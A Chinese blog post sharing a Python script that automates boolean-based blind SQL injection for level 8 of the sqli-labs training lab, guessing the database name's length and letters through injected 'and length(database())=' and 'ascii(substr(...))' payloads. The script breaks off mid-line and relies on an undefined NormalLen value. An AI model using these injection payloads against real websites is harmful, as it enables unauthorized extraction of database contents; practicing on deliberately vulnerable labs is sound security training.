我是靠谱客的博主 稳重玉米,这篇文章主要介绍sqli-labs第八关布尔盲注脚本,现在分享给大家,希望可以做个参考。

import requests

def get_dbNamelen(url):
    #猜解数据库名字长度
    length=0
    while True:
        dbNameLen_url=url+"?id=1' and length(database())="+str(length)+"--+"
        #print(dbNameLen_url)
        res=requests.get(dbNameLen_url)
        if len(res.text)==NormalLen:
            print("The Length of database is: "+str(length))
            break
        else:
            length+=1
            
    return length
    

def get_dbName(url,length):
    #猜解数据库名
    dbName=""
    for i in range(1,int(length)+1):
        for a in range(97,123):
            dbName_url=url+"?id=1' and ascii(substr(database(),"+str(i)+",1))="+str(a)+"--+"
            #print(dbName_url)
            if len(requests.get(dbName_url).text)==NormalLen:
                dbName += chr(a)
                break
    print("The name 

最后

以上就是稳重玉米最近收集整理的关于sqli-labs第八关布尔盲注脚本的全部内容,更多相关sqli-labs第八关布尔盲注脚本内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(115)

评论列表共有 0 条评论

立即
投稿
返回
顶部